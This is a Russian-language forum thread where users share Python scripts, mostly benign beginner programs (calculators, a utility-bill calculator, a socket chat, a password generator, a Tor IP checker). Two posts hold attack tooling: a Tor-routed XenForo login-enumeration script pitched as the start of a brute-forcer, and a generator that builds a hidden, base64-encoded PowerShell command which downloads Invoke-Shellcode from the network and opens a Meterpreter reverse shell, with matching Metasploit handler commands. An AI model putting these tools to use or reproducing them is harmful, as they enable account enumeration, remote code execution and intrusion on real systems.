Ваши программы на Python

gx6060

Python
Премиум
21.09.2016
62
94
#1
В этой теме вы можете размещать свои программы написанные на Python3

Представлю свой калькулятор написанный еще когда я только начал изучать Python3
калькулятор имеет 5 видов действий и ничего экстраординарного )
умножение , деление , сложение , вычитание , степень
скрипт сохранен в качестве раритета ) и не думаю что будет изменятся
Python:
print("Калькулятор")
print("1)Умножение 2)Деление 3)Сложение 4)Вычитание 5)Степень")
choose = int(input("Выберите действие "))
while choose == 1:
    print("Умножение")
    x = int(input("Введите первое число "))
    y = int(input("Введите второе число "))
    z = x * y
    print("Результат", z)
while choose == 2:
    print("Деление")
    x = int(input("Введите первое число "))
    y = int(input("Введите второе число "))
    z = x / y
    print("Результат", z)
while choose == 3:
    print("Сложение")
    x = int(input("Введите первое число "))
    y = int(input("Введите второе число "))
    z = x + y
    print("Результат", z)
while choose == 4:
    print("Вычитание")
    x = int(input("Введите первое число "))
    y = int(input("Введите второе число "))
    z = x - y
    print("Результат", z)
while choose == 5:
    print("Степень")
    x = int(input("Введите первое число "))
    y = int(input("Введите Степень "))
    z = x ** y
    print("Результат", z)
Для просмотра контента необходимо: Войти или зарегистрироваться
 
Последнее редактирование:
R

rrrFer

#2
Все замечательно, но я предлагаю описывать как это работает и код стараться выкладывать не (не только) в файле, но и текстом в сообщении. Все это индексируется и улучшает посещаемость. Описание кода опять же новичкам поможет :).
 

gx6060

Python
Премиум
21.09.2016
62
94
#3
Все замечательно, но я предлагаю описывать как это работает и код стараться выкладывать не (не только) в файле, но и текстом в сообщении. Все это индексируется и улучшает посещаемость. Описание кода опять же новичкам поможет :).
тогда все лучше под спойлером прятать иначе со временем код будет растягиваться на несколько страниц :)
 

ghost

penetration testing
Red Team
12.05.2016
1 254
2 209
#4
Взято из
Для просмотра контента необходимо: Войти или зарегистрироваться
.
Версия Python: 2.7
Описание:
Перебор для форумов xenforo. Пока как чекер логинов на существование. Однопотоковый, может кому для изучения полезно будет просто проверить логины,пассы. Если доработать то может стать нормальным брутом. На подобных форумах в новых версиях при трех заходах с одного логина капчу требуют.
Python:
#!/usr/bin/env python2
# coding: utf8

import requests, re, socks, socket
import sys

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
socket.socket = socks.socksocket

user_agent = {'User-agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36'}
cookie = {'xf_session': 'dfb7a7d06d9affbbcc4c0ebe7c7fdf7f', 'cf_captcha':'82659', 'PHPSESSID':'ru13pub7pp3hr6emkin592gna0'}

def check(url2, logins, log=0):
    url = url2 + '/login/login'
    goods = []

    for i in logins:
        check = None
 
        if log == 1:
            print "Check user - " + i
        r = requests.post(url, data = {'login':i,'register':'0','password':i,'cookie_check':'1'}, headers = user_agent, cookies=cookie)

        try:
            check = re.findall('Неверный пароль', r.content)[0]
        except:
            pass

        if check:
            if log == 1:
                print "User exist"
            print i
            goods.append(i)
 
    return goods

def main():
    try:
        url1 = sys.argv[1]
        file2 = sys.argv[2]
 
        o = open(file2,'r')

        users = []
        for i in o:
            i2 = i.rstrip('\r\n')
            users.append(i2)
        o.close()
 
        check(url1, users)
   
    except IndexError:
        print "Неправильные параметры"

    except IOError:
        print "Нет такого файла"

if __name__ == "__main__":
    main()
 
Последнее редактирование модератором:
R

rrrFer

#6
Я бы кидал исходники не в тему, а в подраздел. На один исходник - одна тема.
 
Последнее редактирование модератором:

uzverss

New member
13.10.2016
2
0
#7
В этой теме вы можете размещать свои программы написанные на Python3

Представлю свой калькулятор написанный еще когда я только начал изучать Python3
калькулятор имеет 5 видов действий и ничего экстраординарного )
умножение , деление , сложение , вычитание , степень
скрипт сохранен в качестве раритета ) и не думаю что будет изменятся
это скучный калькулятор, обернуть eval(input('> ')) веселее будет, можно не только цифры, но и буквы складывать
к тому же, такой числовой фокус с ним не проделать: 0.1+0.1+0.1-0.3
 

buzzi

Member
19.10.2016
5
5
#8
Возможно, кому-нибудь пригодится пример работы связки python + pycurl + TOR.
Приступаем, и так, в первую очередь нам необходим сам TOR, качаем Expert Bundle и запускаем tor.exe, служба TOR запущена и работает.
В следующем листинге функция которая будет нам возвращать наш внешний IP, получать его будем с сайта 2ip.ru:
Python:
# -*- coding: utf-8 -*-

import pycurl
from StringIO import StringIO


def GetMyIP():
    curl_buffer = StringIO() # Создаем объект буфера куда будет записываться результат запроса
    curl_obj = pycurl.Curl() # Создаем pycurl-объект
    curl_obj.setopt(pycurl.URL, "2ip.ru") # Настройка объекта "куда бежать"
    curl_obj.setopt(pycurl.WRITEDATA, curl_buffer) # теперь указываем куда пишем ответ от сервера
    curl_obj.setopt(pycurl.PROXY, '127.0.0.1') # заворачиваем прокси на себя
    curl_obj.setopt(pycurl.PROXYPORT, 9050) # и указываем порт для подключения к нему
    curl_obj.setopt(pycurl.PROXYTYPE, pycurl.PROXYTYPE_SOCKS5) # задаем тип прокси
    try:
        curl_obj.perform() # Подготовка и отправка запроса
        curl_obj.close()   # Закрытие curl-объекта
        body = curl_buffer.getvalue()  # Получаем строку с ответом от сервера из буфера
        for line in body.split('\n'):  # Ищем строку в HTML-коде страницы в которой указан наш адрес
            if 'clip.setText' in line:
                return(line.strip().replace('clip.setText', 'Наш текущий IP - '))
    except pycurl.error:   # Отлавливаем ошибки соединения
        curl_obj.close()   # В любом случае нужно закрыть curl-объект
        return("Возникла ошибка при попытке соединения...")
Сервис переодически будет обновлять цепочку, но если вы хотите обновлять ее чаще вам придется, естественно, перезапускать процесс tor.exe
С этой нелегкой и муторной задачей нам поможет модуль subprocess.
Следующий листинг - функция, которая убивает запущенный процесс и запускает его заново:
Python:
import subprocess
from time import sleep


def tor_restart():
    subprocess.Popen('taskkill /f /FI "IMAGENAME eq tor.exe"') # передаем в коммандную строку команду убить процесс с именем tor.exe
    sleep(0.5)                                                 # ждем 500 мс до полной остановки процесса
    subprocess.Popen(ptch_to_torexe)                           # запускаем заново процесс
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Gold Team
19.10.2016
736
2 676
#9
PowerMeter script [Python2.7]
Набросал простенький скриптец на питоне
Генерирует однострочную команду для PowerShell в Bas64 кодировке используя Invoke-Shellcode от PowerSploit для получения метерпретер сессии)
Python:
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-


import re
import base64
from termcolor import colored


def banner():
    print colored("""
===============================================================================

#####                          #######           #     #                     
#     #  ####  #####  #####     #     # ######    #     #   ##    ####  #    #
#       #    # #    # #    #    #     # #         #     #  #  #  #    # #   # 
#       #    # #    # #    #    #     # #####     ####### #    # #      ####  
#       #    # #####  #####     #     # #         #     # ###### #      #  #  
#     # #    # #   #  #         #     # #         #     # #    # #    # #   # 
#####   ####  #    # #         ####### #         #     # #    #  ####  #    #
                                                                              
           ____                             __  __      _           
          |  _ \ _____      _____ _ __     |  \/  | ___| |_ ___ _ __
          | |_) / _ \ \ /\ / / _ \ '__|____| |\/| |/ _ \ __/ _ \ '__|
          |  __/ (_) \ V  V /  __/ | |_____| |  | |  __/ ||  __/ |  
          |_|   \___/ \_/\_/ \___|_|       |_|  |_|\___|\__\___|_|  
                                                                    



   
Powershell_Meter script  is a PowerShell Command Generator.
Written by [Mister Bert0ni|DarkNode] <Corp Of Hack Team> <Wired Hawks Team> <CodeBy Team>
[[Contacts]] ::: <https://new.vk.com/byhackers>
[[YouTube]]  ::: <https://www.youtube.com/c/CorpOfHack>
===============================================================================
""","cyan")
   

def powershell_encode(data):
    # blank command will store our fixed unicode variable
    blank_command = ""
    powershell_command = ""
    # Remove weird chars that could have been added by ISE
    n = re.compile(u'(\xef|\xbb|\xbf)')
    # loop through each character and insert null byte
    for char in (n.sub("", data)):
        # insert the nullbyte
        blank_command += char + "\x00"
    # assign powershell command as the new one
    powershell_command = blank_command
    # base64 encode the powershell command
    powershell_command = base64.b64encode(powershell_command)
    return powershell_command


def metasploit():
    print colored("[*]PowerShell генератор для Metasploit-Framework с ипользованиевм PowerSploit.","yellow")
    print colored("Оригинал можно взять здесь:","green")+ colored("https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1\n\n","cyan")
    ans_lhost = raw_input("Введите IP адрес атакующей машины(LHOST): ")
    ans_lport = raw_input("Введите Порт листенера атакуещей машины(LPORT): ")
  
    print colored("\n[*]Наша команда для PowerShell:","yellow")
    x = powershell_encode("IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost "+ans_lhost+" -Lport "+ans_lport+" -Force")
    print colored("powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc " + x,"red")
    print colored("\n[*]Команды для metasploit-framework(Вы можете сохранить эту последовательность команд в файл listener.rc и запустить msfconsole -r listener.rc или же прямо из запущеной консоли метаслоита: resourse listener.rc","yellow")
    print colored("use multi/handler \nset payload windows/meterpreter/reverse_https \nset LHOST " + ans_lhost + "\nset LPORT " + ans_lport + "\nset ExitOnSession false \nexploit -j","green")

banner()
metasploit()

 

redscout

New member
04.09.2016
3
6
#10

Накидал калькулятор, т.к. надоело каждый раз складывать, умножать и дважды проверять рассчеты, может кому пригодится. Входные данные можно подогнать под себя.

Python:
#ЗДЕСЬ ПЕРЕЧИСЛЕНЫ СТАТИЧЕСКИЕ ДАННЫЕ
#Газ
gas = 67.64
#Домофон
domofon = 38
#Места общего пользования
common_areas = 127.25
#Содержание
content = 469.65
#Капитальный ремонт
overhaul = 196.95
#Отопление
heat = 932.63
#Сумма
total_static = gas + domofon + common_areas + content + overhaul + heat

print("Газ: ", gas, "рублей")
print("Домофон: ", domofon, "рублей")
print("Места общего поьзования: ", common_areas, "рублей")
print("Содержание: ", content, "рублей")
print("Капитальный ремонт: ", overhaul, "рублей")
print("Отопление: ", heat, "рублей")
print()
print("Итого: ",total_static, "рублей")
print()

#ЗДЕСЬ ПЕРЕЧИСЛЕНЫ ИЗМЕНЯЕМЫЕ ДАННЫЕ
#Горячая вода
hot_water_value = int(input("Введите количесво кубов горячей воды: "))
hot_water_index = 153.08
hot_water_total = hot_water_value * hot_water_index
print(hot_water_total, "рублей")

#Холодная вода   
cold_water_value = int(input("Введите количество кубов холодной воды: "))
cold_water_index = 21.89
cold_water_total = cold_water_value * cold_water_index
print(cold_water_total, "рублей")

#Канализация
sewerage_value = int(input("Введите сумму кубов горячей и холодной воды: "))
sewerage_index = 15.62
sewerage_total = sewerage_value * sewerage_index
print(sewerage_total, "рублей")

#Электричество
electricity_value = int(input("Введите количество КВ: "))
electricity_index = 4.8
electricity_total = electricity_value * electricity_index
print(electricity_total, "рублей")

#Коммуналка
utilities = total_static + hot_water_total + cold_water_total + sewerage_total + electricity_total
print("Коммунальные услуги составляют: ",utilities, "рублей")

#Аренда
rent = 8200
print("Аренда составляет: ",rent, "рублей")
print()

#Итоговая сумма
sum = utilities + rent

print("Итого: ", sum, "рублей" )
 
Последнее редактирование:

ArtNX

New member
15.01.2017
2
1
#11
SIMPLE CONSOLE CHAT

Python:
#!usr/bin/env python3
# coding: utf8

import socket, threading

def send():
    while True:
        message = input('')
        if message == '':
            print('empty message')
            continue
        conn.send(message.encode())

def read():
    while True:
        data = conn.recv(1024)
        if data:
            udata = data.decode('utf-8')
            print(' \u2192 ' + udata)


if __name__ == '__main__':

    IP = '127.0.0.1'
    PORT = 6060

    while True:

        mode = input('s or c \u2192 ')

        if mode == 's':
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.bind((IP, PORT))
            sock.listen(1)
            print('...')
            conn, addr = sock.accept()
            print('you can to send message - WRITE and PRESS "enter"')
            t_r = threading.Thread(target = read)
            t_r.start()
            t_s = threading.Thread(target = send)
            t_s.start()
            break

        elif mode == 'c':
            conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            conn.connect((IP, PORT))
            print('you can to send message - WRITE and PRESS "enter"')
            t_r = threading.Thread(target = read)
            t_r.start()
            t_s = threading.Thread(target = send)
            t_s.start()
            break

        else:
            print('incorrect mode')
            continue
 

Вложения

Последнее редактирование:
Симпатии: Понравилось Tihon49

gx6060

Python
Премиум
21.09.2016
62
94
#12
Код:
import tkinter
from tkinter import *
import random as r


root = Tk()
root.geometry("300x100")
root.title("Pass Gen")
ent = Entry(root, width = 2)
but = Button(root, text = "gen",
             width = 12, height = 2,
             bg = "black", fg = "white")
tex = Text(root, width = 22, height = 3, wrap = WORD)
def out(event):
    x = ent.get()
    x = int(x)
    def give_me_pass(x):
        tex.delete(1.0, END)
        pwd = "abcdefghijklmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*"
        count = 0
        final_pass = ""
        while True:
            pas = r.choice(pwd)
            if pas not in final_pass:
                final_pass += pas
                count += 1
            else:
                pass
            if count == x:
                tex.insert(END, final_pass)
                break
            if x > 30:
                tex.insert(END, "please use number less than 30")
                break
    give_me_pass(x)




tex.pack(side = "right")
but.bind("<Button-1>", out)
but.pack(side = "left")
ent.pack(side = "top")
root.mainloop()
не забудьте установить модуль tkinter
Безымянный.png
перехвата исключения нет , буквы не вбивайте))
 
Последнее редактирование:
11.12.2017
13
5
#14
while choose == 2:
print("Деление")
x = int(input("Введите первое число "))
y = int(input("Введите второе число "))
z = x / y
print("Результат", z)

он у тебя при делении на ноль не слетает? ))